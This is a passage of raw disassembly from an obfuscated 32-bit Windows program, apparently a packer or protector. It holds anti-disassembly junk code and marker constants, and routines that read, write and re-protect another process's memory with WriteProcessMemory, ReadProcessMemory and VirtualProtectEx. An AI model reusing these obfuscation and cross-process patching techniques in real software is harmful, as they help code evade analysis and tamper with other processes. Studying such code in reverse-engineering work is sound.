[ecx] xor edx, dword_4ED41C xor edx, dword_4ED424 xor edx, dword_4ED3EC xor edx, dword_4ED428 ; CODE XREF: .text:loc_4BD6D9j xor edx, dword_4ED3AC mov [ebp-2Ch], edx loc_4BD66F: ; CODE XREF: .text:004BD68Dj mov eax, [ebp-4] cmp eax, [ebp-0Ch] jnb short loc_4BD68F mov ecx, [ebp-4] mov edx, [ecx] xor edx, [ebp-2Ch] mov eax, [ebp-4] mov [eax], edx mov ecx, [ebp-4] add ecx, 4 mov [ebp-4], ecx jmp short loc_4BD66F ; --------------------------------------------------------------------------- loc_4BD68F: ; CODE XREF: .text:004BD675j mov edx, [ebp+8] mov eax, dword_4F4748 cmp dword ptr [eax+edx*4], 0 jz loc_4BD84C jo short loc_4BD6AA jl short loc_4BD6A8 loc_4BD6A5: ; CODE XREF: .text:loc_4BD6A8j ; .text:loc_4BD6AAj jmp short loc_4BD6AC ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BD6A8: ; CODE XREF: .text:004BD6A3j jz short loc_4BD6A5 loc_4BD6AA: ; CODE XREF: .text:004BD6A1j jmp short loc_4BD6A5 ; --------------------------------------------------------------------------- loc_4BD6AC: ; CODE XREF: .text:loc_4BD6A5j mov ecx, [ebp+8] mov edx, dword_4F4748 mov eax, [edx+ecx*4] mov [ebp-34h], eax pusha xor eax, eax jnz short loc_4BD6C2 jmp short loc_4BD6D7 ; --------------------------------------------------------------------------- loc_4BD6C2: ; CODE XREF: .text:004BD6BEj jmp short loc_4BD6F7 ; --------------------------------------------------------------------------- dd 7A1875C0h db 0Ch ; --------------------------------------------------------------------------- loc_4BD6C9: ; CODE XREF: .text:loc_4BD6D7j jo short loc_4BD6D9 jmp short near ptr loc_4BD6D9+1 ; --------------------------------------------------------------------------- db 0E8h, 72h, 0Eh dd 15FFF179h db 0, 79h, 9 ; --------------------------------------------------------------------------- loc_4BD6D7: ; CODE XREF: .text:004BD6C0j jz short loc_4BD6C9 loc_4BD6D9: ; CODE XREF: .text:loc_4BD6C9j ; .text:004BD6CBj jmp short near ptr loc_4BD660+2 ; --------------------------------------------------------------------------- db 0DBh dd 33A0F07Ah, 0CC7D8361h, 6840F00h, 51000001h, 0D1F7C90Fh ; CODE XREF: .text:loc_4BD7ECj dd 0B8D0F750h db 6Dh, 69h, 65h ; --------------------------------------------------------------------------- loc_4BD6F7: ; CODE XREF: .text:loc_4BD6C2j ; .text:loc_4BD76Ej insb xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BD70E loc_4BD70B: ; CODE XREF: .text:004BD72Cj jmp short near ptr loc_4BD72E+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD70E: ; CODE XREF: .text:004BD709j xor ebx, ebx jz short $+2 jmp short loc_4BD721 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BD717: ; CODE XREF: .text:004BD723j mov ecx, 34F9C987h nop stc jz short loc_4BD725 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD721: ; CODE XREF: .text:004BD712j xor eax, eax jz short loc_4BD717 loc_4BD725: ; CODE XREF: .text:004BD71Ej mov eax, 4840C987h test eax, eax jnz short loc_4BD70B loc_4BD72E: ; CODE XREF: .text:loc_4BD70Bj jmp near ptr 92B27494h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov ecx, [ebp+8] shl ecx, 0Ch mov edx, dword_4F4754 ; CODE XREF: .text:004BD7AFj add edx, ecx mov eax, [ebp-34h] mov ecx, [eax+4] sub ecx, edx mov [ebp-38h], ecx pusha xor eax, eax jnz short loc_4BD757 jmp short loc_4BD76C ; --------------------------------------------------------------------------- loc_4BD757: ; CODE XREF: .text:004BD753j jmp short loc_4BD78C ; --------------------------------------------------------------------------- db 0C0h, 75h, 18h db 7Ah, 0Ch ; --------------------------------------------------------------------------- loc_4BD75E: ; CODE XREF: .text:loc_4BD76Cj jo short loc_4BD76E jmp short near ptr loc_4BD76E+1 ; --------------------------------------------------------------------------- dw 72E8h dd 0FFF1790Eh, 9790015h ; --------------------------------------------------------------------------- loc_4BD76C: ; CODE XREF: .text:004BD755j jz short loc_4BD75E loc_4BD76E: ; CODE XREF: .text:loc_4BD75Ej ; .text:004BD760j jmp short loc_4BD6F7 ; --------------------------------------------------------------------------- fstp tbyte ptr [edx-10h] mov al, ds:558B6133h int 3 ; Trap to Debugger mov eax, [edx+8] push eax mov ecx, [ebp-34h] mov edx, [ecx] push edx mov eax, dword_4F477C add eax, [ebp-38h] push eax loc_4BD78C: ; CODE XREF: .text:loc_4BD757j call _memcpy_1 add esp, 0Ch push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BD7CB ; CODE XREF: .text:loc_4BD7CBj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BD7A3: ; CODE XREF: .text:004BD7C4j jmp short loc_4BD7C2 ; --------------------------------------------------------------------------- loc_4BD7A5: ; CODE XREF: .text:loc_4BD7C2j xor ecx, ecx loc_4BD7A7: ; CODE XREF: .text:004BD7B6j jz short $+2 jmp short loc_4BD7BB ; --------------------------------------------------------------------------- loc_4BD7AB: ; CODE XREF: .text:004BD7BFj stc xor ecx, 3 jz short near ptr loc_4BD73D+4 jmp short loc_4BD7B8 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BD7B4: ; CODE XREF: .text:loc_4BD7B8j jmp short loc_4BD7C6 ; --------------------------------------------------------------------------- jz short loc_4BD7A7 loc_4BD7B8: ; CODE XREF: .text:004BD7B1j jnb short loc_4BD7B4 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BD7BB: ; CODE XREF: .text:004BD7A9j sbb bl, bl xor ebx, ebx jmp short loc_4BD7AB ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BD7C2: ; CODE XREF: .text:loc_4BD7A3j jmp short loc_4BD7A5 ; --------------------------------------------------------------------------- jmp short loc_4BD7A3 ; --------------------------------------------------------------------------- loc_4BD7C6: ; CODE XREF: .text:loc_4BD7B4j repne sbb al, 0DBh jmp short loc_4BD7CE ; --------------------------------------------------------------------------- loc_4BD7CB: ; CODE XREF: .text:004BD79Ej jmp short near ptr loc_4BD79E+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BD7CE: ; CODE XREF: .text:004BD7C9j popa popf bswap eax not ecx bswap eax not ecx mov ecx, [ebp-34h] mov edx, [ecx+0Ch] mov [ebp-34h], edx jo short loc_4BD7EA jl short loc_4BD7E8 loc_4BD7E5: ; CODE XREF: .text:loc_4BD7E8j ; .text:loc_4BD7EAj jmp short loc_4BD7EC ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BD7E8: ; CODE XREF: .text:004BD7E3j jz short loc_4BD7E5 loc_4BD7EA: ; CODE XREF: .text:004BD7E1j jmp short loc_4BD7E5 ; --------------------------------------------------------------------------- loc_4BD7EC: ; CODE XREF: .text:loc_4BD7E5j jmp near ptr dword_4BD6DC+5 ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov ecx, dword_4F4748 mov edx, [ecx+eax*4] mov [ebp-30h], edx loc_4BD800: ; CODE XREF: .text:004BD83Bj cmp dword ptr [ebp-30h], 0 jz short loc_4BD83D mov eax, [ebp-30h] ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- loc_4BD80A: ; CODE XREF: .text:loc_4BD881j inc ebp int 3 ; Trap to Debugger mov ecx, [ebp-34h] mov edx, [ecx+0Ch] mov [ebp-30h], edx mov eax, [ebp-34h] mov ecx, [eax] mov [ebp-3Ch], ecx mov edx, [ebp-3Ch] push edx call sub_4C85D6 add esp, 4 mov eax, [ebp-34h] mov [ebp-40h], eax mov ecx, [ebp-40h] push ecx call sub_4C85D6 add esp, 4 jmp short loc_4BD800 ; --------------------------------------------------------------------------- loc_4BD83D: ; CODE XREF: .text:004BD804j mov edx, [ebp+8] mov eax, dword_4F4748 mov dword ptr [eax+edx*4], 0 loc_4BD84C: ; CODE XREF: .text:004BD69Bj mov ecx, [ebp+8] mov edx, dword_4F4774 mov eax, [edx+ecx*4] and eax, 4 test eax, eax jnz loc_4BD91B pusha xor eax, eax jnz short loc_4BD86A jmp short loc_4BD87F ; --------------------------------------------------------------------------- loc_4BD86A: ; CODE XREF: .text:004BD866j jmp short loc_4BD89F ; --------------------------------------------------------------------------- dd 7A1875C0h db 0Ch ; --------------------------------------------------------------------------- loc_4BD871: ; CODE XREF: .text:loc_4BD87Fj jo short loc_4BD881 jmp short near ptr loc_4BD881+1 ; --------------------------------------------------------------------------- db 0E8h, 72h, 0Eh dd 15FFF179h db 0, 79h, 9 ; --------------------------------------------------------------------------- loc_4BD87F: ; CODE XREF: .text:004BD868j jz short loc_4BD871 loc_4BD881: ; CODE XREF: .text:loc_4BD871j ; .text:004BD873j jmp short loc_4BD80A ; --------------------------------------------------------------------------- fstp tbyte ptr [edx-10h] mov al, ds:0FF6A6133h push 1000h mov ecx, dword_4F477C push ecx call sub_490FB0 add esp, 0Ch loc_4BD89F: ; CODE XREF: .text:loc_4BD86Aj mov edx, [ebp+8] mov ecx, dword_4F4778 mov [ecx+edx*4], eax push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BD8CE loc_4BD8CB: ; CODE XREF: .text:004BD8ECj jmp short near ptr loc_4BD8EE+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD8CE: ; CODE XREF: .text:004BD8C9j xor ebx, ebx jz short $+2 jmp short loc_4BD8E1 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BD8D7: ; CODE XREF: .text:004BD8E3j mov ecx, 34F9C987h nop stc jz short loc_4BD8E5 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD8E1: ; CODE XREF: .text:004BD8D2j xor eax, eax jz short loc_4BD8D7 loc_4BD8E5: ; CODE XREF: .text:004BD8DEj mov eax, 4840C987h test eax, eax jnz short loc_4BD8CB loc_4BD8EE: ; CODE XREF: .text:loc_4BD8CBj jmp near ptr 92B27654h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov edx, [ebp+8] mov eax, dword_4F4774 mov ecx, [eax+edx*4] or ecx, 4 mov edx, [ebp+8] mov eax, dword_4F4774 mov [eax+edx*4], ecx jo short loc_4BD919 jl short loc_4BD917 loc_4BD914: ; CODE XREF: .text:loc_4BD917j ; .text:loc_4BD919j jmp short loc_4BD91B ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BD917: ; CODE XREF: .text:004BD912j jz short loc_4BD914 loc_4BD919: ; CODE XREF: .text:004BD910j jmp short loc_4BD914 ; --------------------------------------------------------------------------- loc_4BD91B: ; CODE XREF: .text:004BD85Dj ; .text:loc_4BD914j mov ecx, [ebp+8] mov edx, dword_4F4774 mov eax, [edx+ecx*4] ; CODE XREF: .text:004BD993j or al, 1 mov ecx, [ebp+8] mov edx, dword_4F4774 mov [edx+ecx*4], eax xor eax, eax mov al, byte_4F4780 test eax, eax jz short loc_4BD94B mov ecx, [ebp-18h] and ch, 0FEh mov [ebp-10h], ecx jmp short loc_4BD952 ; --------------------------------------------------------------------------- loc_4BD94B: ; CODE XREF: .text:004BD93Ej mov dword ptr [ebp-10h], 40h loc_4BD952: ; CODE XREF: .text:loc_4BD4DEj ; .text:loc_4BD644j ... lea edx, [ebp-8] push edx push 1000h mov eax, dword_4F477C push eax mov ecx, [ebp-14h] push ecx mov edx, dword_4F4750 mov eax, [edx] push eax call dword_4ED114 ; WriteProcessMemory test eax, eax jnz short loc_4BD9C3 push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BD9AF ; CODE XREF: .text:loc_4BD9AFj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BD987: ; CODE XREF: .text:004BD9A8j jmp short loc_4BD9A6 ; --------------------------------------------------------------------------- loc_4BD989: ; CODE XREF: .text:loc_4BD9A6j xor ecx, ecx loc_4BD98B: ; CODE XREF: .text:004BD99Aj jz short $+2 jmp short loc_4BD99F ; --------------------------------------------------------------------------- loc_4BD98F: ; CODE XREF: .text:004BD9A3j stc xor ecx, 3 jz short near ptr loc_4BD924+1 jmp short loc_4BD99C ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BD998: ; CODE XREF: .text:loc_4BD99Cj jmp short loc_4BD9AA ; --------------------------------------------------------------------------- jz short loc_4BD98B loc_4BD99C: ; CODE XREF: .text:004BD995j jnb short loc_4BD998 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BD99F: ; CODE XREF: .text:004BD98Dj sbb bl, bl xor ebx, ebx jmp short loc_4BD98F ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BD9A6: ; CODE XREF: .text:loc_4BD987j jmp short loc_4BD989 ; --------------------------------------------------------------------------- jmp short loc_4BD987 ; --------------------------------------------------------------------------- loc_4BD9AA: ; CODE XREF: .text:loc_4BD998j repne sbb al, 0DBh jmp short loc_4BD9B2 ; --------------------------------------------------------------------------- loc_4BD9AF: ; CODE XREF: .text:004BD982j jmp short near ptr loc_4BD982+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BD9B2: ; CODE XREF: .text:004BD9ADj popa popf bswap eax not ecx bswap eax not ecx xor al, al jmp loc_4BDA6A ; --------------------------------------------------------------------------- loc_4BD9C3: ; CODE XREF: .text:004BD976j push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BD9E6 loc_4BD9E3: ; CODE XREF: .text:004BDA04j jmp short near ptr loc_4BDA06+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD9E6: ; CODE XREF: .text:004BD9E1j xor ebx, ebx jz short $+2 ; CODE XREF: .text:loc_4BDA60j jmp short loc_4BD9F9 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BD9EF: ; CODE XREF: .text:004BD9FBj mov ecx, 34F9C987h nop stc jz short loc_4BD9FD ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD9F9: ; CODE XREF: .text:004BD9EAj xor eax, eax jz short loc_4BD9EF loc_4BD9FD: ; CODE XREF: .text:004BD9F6j mov eax, 4840C987h test eax, eax jnz short loc_4BD9E3 loc_4BDA06: ; CODE XREF: .text:loc_4BD9E3j jmp near ptr 92B2776Ch ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax lea ecx, [ebp-18h] push ecx mov edx, [ebp-10h] push edx push 1000h mov eax, [ebp-14h] push eax mov ecx, dword_4F4750 mov edx, [ecx] push edx call dword_4ED110 ; VirtualProtectEx test eax, eax jnz short loc_4BDA42 jo short loc_4BDA3C jl short loc_4BDA3A loc_4BDA37: ; CODE XREF: .text:loc_4BDA3Aj ; .text:loc_4BDA3Cj jmp short loc_4BDA3E ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BDA3A: ; CODE XREF: .text:004BDA35j jz short loc_4BDA37 loc_4BDA3C: ; CODE XREF: .text:004BDA33j jmp short loc_4BDA37 ; --------------------------------------------------------------------------- loc_4BDA3E: ; CODE XREF: .text:loc_4BDA37j xor al, al jmp short loc_4BDA6A ; --------------------------------------------------------------------------- loc_4BDA42: ; CODE XREF: .text:004BDA31j pusha xor eax, eax jnz short loc_4BDA49 jmp short loc_4BDA5E ; --------------------------------------------------------------------------- loc_4BDA49: ; CODE XREF: .text:004BDA45j jmp short near ptr loc_4BDA7B+3 ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4BDA50: ; CODE XREF: .text:loc_4BDA5Ej jo short loc_4BDA60 jmp short near ptr loc_4BDA60+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4BDA67 loc_4BDA5E: ; CODE XREF: .text:004BDA47j jz short loc_4BDA50 loc_4BDA60: ; CODE XREF: .text:loc_4BDA50j ; .text:004BDA52j jmp short near ptr loc_4BD9E8+1 ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4BDA67: ; CODE XREF: .text:004BDA5Cj popa mov al, 1 loc_4BDA6A: ; CODE XREF: .text:004BC9AFj ; .text:004BCA71j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BDA71 proc near ; CODE XREF: .text:004BB1C3p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 0 mov eax, [ebp+arg_0] push eax loc_4BDA7B: ; CODE XREF: .text:loc_4BDA49j call sub_4BDAA4 add esp, 8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jge short loc_4BDA91 or eax, 0FFFFFFFFh jmp short loc_4BDAA0 ; --------------------------------------------------------------------------- loc_4BDA91: ; CODE XREF: sub_4BDA71+19j mov ecx, [ebp+var_4] mov edx, dword_4F45A8 mov eax, [edx+ecx*4] mov eax, [eax+4] loc_4BDAA0: ; CODE XREF: sub_4BDA71+1Ej mov esp, ebp pop ebp retn sub_4BDA71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BDAA4 proc near ; CODE XREF: sub_4BDA71:loc_4BDA7Bp ; sub_4BDB47+Cp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 0 mov eax, dword_4F478C mov [ebp+var_4], eax loc_4BDAB9: ; CODE XREF: sub_4BDAA4:loc_4BDAF8j mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jge short loc_4BDAFA mov eax, [ebp+var_4] sub eax, [ebp+var_8] cdq sub eax, edx sar eax, 1 mov edx, [ebp+var_8] add edx, eax mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, dword_4F45A8 mov edx, [ecx+eax*4] mov eax, [ebp+arg_0] cmp eax, [edx] jbe short loc_4BDAF2 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_8], ecx jmp short loc_4BDAF8 ; --------------------------------------------------------------------------- loc_4BDAF2: ; CODE XREF: sub_4BDAA4+41j mov edx, [ebp+var_C] mov [ebp+var_4], edx loc_4BDAF8: ; CODE XREF: sub_4BDAA4+4Cj jmp short loc_4BDAB9 ; --------------------------------------------------------------------------- loc_4BDAFA: ; CODE XREF: sub_4BDAA4+1Bj mov eax, [ebp+var_8] cmp eax, dword_4F478C jge short loc_4BDB2F mov ecx, [ebp+var_8] mov edx, dword_4F45A8 mov eax, [edx+ecx*4] mov ecx, [ebp+arg_0] cmp ecx, [eax] jnz short loc_4BDB2F mov edx, [ebp+arg_4] and edx, 0FFh test edx, edx jz short loc_4BDB2A or eax, 0FFFFFFFFh jmp short loc_4BDB43 ; --------------------------------------------------------------------------- loc_4BDB2A: ; CODE XREF: sub_4BDAA4+7Fj mov eax, [ebp+var_8] jmp short loc_4BDB43 ; --------------------------------------------------------------------------- loc_4BDB2F: ; CODE XREF: sub_4BDAA4+5Fj ; sub_4BDAA4+72j mov eax, [ebp+arg_4] and eax, 0FFh test eax, eax jz short loc_4BDB40 mov eax, [ebp+var_8] jmp short loc_4BDB43 ; --------------------------------------------------------------------------- loc_4BDB40: ; CODE XREF: sub_4BDAA4+95j or eax, 0FFFFFFFFh loc_4BDB43: ; CODE XREF: sub_4BDAA4+84j ; sub_4BDAA4+89j ... mov esp, ebp pop ebp retn sub_4BDAA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BDB47 proc near ; CODE XREF: .text:004B9BAEp ; .text:004BB6E1p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Src = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push 1 mov eax, [ebp+arg_0] push eax call sub_4BDAA4 add esp, 8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jl loc_4BDC6B mov ecx, dword_4F478C cmp ecx, dword_4F4790 jnz short loc_4BDBEB mov edx, dword_4F4790 shl edx, 1 mov dword_4F4790, edx cmp dword_4F4790, 0 jnz short loc_4BDB97 mov dword_4F4790, 100h loc_4BDB97: ; CODE XREF: sub_4BDB47+44j mov eax, dword_4F45A8 mov [ebp+Src], eax mov ecx, dword_4F4790 shl ecx, 2 push ecx call sub_4C85E1 add esp, 4 mov [ebp+var_C], eax mov edx, [ebp+var_C] mov dword_4F45A8, edx mov eax, dword_4F478C shl eax, 2 push eax ; Size mov ecx, [ebp+Src] push ecx ; Src mov edx, dword_4F45A8 push edx ; Dst call _memcpy_1 add esp, 0Ch mov eax, [ebp+Src] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call sub_4C85D6 add esp, 4 loc_4BDBEB: ; CODE XREF: sub_4BDB47+2Dj mov edx, dword_4F478C sub edx, [ebp+var_4] shl edx, 2 push edx ; Size mov eax, [ebp+var_4] mov ecx, dword_4F45A8 lea edx, [ecx+eax*4] push edx ; Src mov eax, [ebp+var_4] mov ecx, dword_4F45A8 lea edx, [ecx+eax*4+4] push edx ; Dst call _memcpy_2 add esp, 0Ch push 8 call sub_4C85E1 add esp, 4 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_4BDC47 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_14] mov eax, [ebp+arg_4] mov [edx+4], eax mov ecx, [ebp+var_14] mov [ebp+var_18], ecx jmp short loc_4BDC4E ; --------------------------------------------------------------------------- loc_4BDC47: ; CODE XREF: sub_4BDB47+E5j mov [ebp+var_18], 0 loc_4BDC4E: ; CODE XREF: sub_4BDB47+FEj mov edx, [ebp+var_4] mov eax, dword_4F45A8 mov ecx, [ebp+var_18] mov [eax+edx*4], ecx mov edx, dword_4F478C add edx, 1 mov dword_4F478C, edx loc_4BDC6B: ; CODE XREF: sub_4BDB47+1Bj mov esp, ebp pop ebp retn sub_4BDB47 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push 1 mov eax, [ebp+8] push eax call sub_4BDAA4 add esp, 8 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jl short loc_4BDCE5 mov ecx, [ebp-4] mov edx, dword_4F45A8 mov eax, [edx+ecx*4] mov [ebp-8], eax mov ecx, [ebp-8] push ecx call sub_4C85D6 add esp, 4 mov edx, dword_4F478C sub edx, 1 mov dword_4F478C, edx mov eax, dword_4F478C sub eax, [ebp-4] shl eax, 2 push eax mov ecx, [ebp-4] mov edx, dword_4F45A8 lea eax, [edx+ecx*4+4] push eax mov ecx, [ebp-4] mov edx, dword_4F45A8 lea eax, [edx+ecx*4] push eax call _memcpy_2 add esp, 0Ch loc_4BDCE5: ; CODE XREF: .text:004BDC8Aj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_4BDCE9: ; CODE XREF: .text:004B9B3Ap ; .text:004B9B93p push ebp mov ebp, esp sub esp, 2D4h push ebx push esi push edi mov ax, word_4EDD40 mov [ebp-8], ax mov cl, byte_4EDD42 mov [ebp-6], cl cmp dword ptr [ebp+10h], 0 jnz loc_4BDE10 jo short loc_4BDD1B jl short loc_4BDD19 loc_4BDD16: ; CODE XREF: .text:loc_4BDD19j ; .text:loc_4BDD1Bj jmp short loc_4BDD1D ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BDD19: ; CODE XREF: .text:004BDD14j jz short loc_4BDD16 loc_4BDD1B: ; CODE XREF: .text:004BDD12j jmp short loc_4BDD16 ; --------------------------------------------------------------------------- loc_4BDD1D: ; CODE XREF: .text:loc_4BDD16j push 2CCh push 0 lea edx, [ebp-2D4h] push edx call _memset_0 loc_4BDD30: ; CODE XREF: .text:loc_4BDDA7j add esp, 0Ch push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BDD56 loc_4BDD53: ; CODE XREF: .text:004BDD74j jmp short near ptr loc_4BDD76+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BDD56: ; CODE XREF: .text:004BDD51j xor ebx, ebx jz short $+2 jmp short loc_4BDD69 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BDD5F: ; CODE XREF: .text:004BDD6Bj mov ecx, 34F9C987h nop stc jz short loc_4BDD6D ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BDD69: ; CODE XREF: .text:004BDD5Aj xor eax, eax jz short loc_4BDD5F loc_4BDD6D: ; CODE XREF: .text:004BDD66j ; .text:004BDDDEj mov eax, 4840C987h test eax, eax jnz short loc_4BDD53 loc_4BDD76: ; CODE XREF: .text:loc_4BDD53j jmp near ptr 92B27ADCh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov dword ptr [ebp-2D4h], 10001h pusha xor eax, eax jnz short loc_4BDD90 jmp short loc_4BDDA5 ; --------------------------------------------------------------------------- loc_4BDD90: ; CODE XREF: .text:004BDD8Cj jmp short loc_4BDDC5 ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4BDD97: ; CODE XREF: .text:loc_4BDDA5j jo short loc_4BDDA7 jmp short near ptr loc_4BDDA7+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh db 9 ; --------------------------------------------------------------------------- loc_4BDDA5: ; CODE XREF: .text:004BDD8Ej jz short loc_4BDD97 loc_4BDDA7: ; CODE XREF: .text:loc_4BDD97j ; .text:004BDD99j jmp short loc_4BDD30 ; --------------------------------------------------------------------------- db 0DBh, 7Ah, 0F0h dd 8D6133A0h, 0FFFD2C85h, 4D8B50FFh, 4518B08h, 0E015FF52h dd 50004ED0h db 0F7h ; --------------------------------------------------------------------------- loc_4BDDC5: ; CODE XREF: .text:loc_4BDD90j ror byte ptr [edi], 1 enter 7358h, 0 pushf pusha jmp short loc_4BDDFA ; CODE XREF: .text:loc_4BDDFAj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BDDD2: ; CODE XREF: .text:004BDDF3j jmp short loc_4BDDF1 ; --------------------------------------------------------------------------- loc_4BDDD4: ; CODE XREF: .text:loc_4BDDF1j xor ecx, ecx loc_4BDDD6: ; CODE XREF: .text:004BDDE5j jz short $+2 jmp short loc_4BDDEA ; --------------------------------------------------------------------------- loc_4BDDDA: ; CODE XREF: .text:004BDDEEj stc xor ecx, 3 jz short near ptr loc_4BDD6D+3 jmp short loc_4BDDE7 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BDDE3: ; CODE XREF: .text:loc_4BDDE7j jmp short loc_4BDDF5 ; --------------------------------------------------------------------------- jz short loc_4BDDD6 loc_4BDDE7: ; CODE XREF: .text:004BDDE0j jnb short loc_4BDDE3 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BDDEA: ; CODE XREF: .text:004BDDD8j sbb bl, bl xor ebx, ebx jmp short loc_4BDDDA ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BDDF1: ; CODE XREF: .text:loc_4BDDD2j jmp short loc_4BDDD4 ; --------------------------------------------------------------------------- jmp short loc_4BDDD2 ; --------------------------------------------------------------------------- loc_4BDDF5: ; CODE XREF: .text:loc_4BDDE3j repne sbb al, 0DBh jmp short loc_4BDDFD ; --------------------------------------------------------------------------- loc_4BDDFA: ; CODE XREF: .text:004BDDCDj jmp short near ptr loc_4BDDCD+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BDDFD: ; CODE XREF: .text:004BDDF8j popa popf bswap eax not ecx bswap eax not ecx mov eax, [ebp-21Ch] mov [ebp+10h], eax loc_4BDE10: ; CODE XREF: .text:004BDD0Cj mov ecx, [ebp+0Ch] and ecx, 0FFh test ecx, ecx jz loc_4BDEAF lea edx, [ebp-4] push edx push 2 push offset dword_4F45AC mov eax, [ebp+10h] push eax mov ecx, [ebp+8] mov edx, [ecx] push edx call dword_4ED0D0 ; ReadProcessMemory push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BDE5F loc_4BDE5C: ; CODE XREF: .text:004BDE7Dj jmp short near ptr loc_4BDE7F+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BDE5F: ; CODE XREF: .text:004BDE5Aj xor ebx, ebx jz short $+2 jmp short loc_4BDE72 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 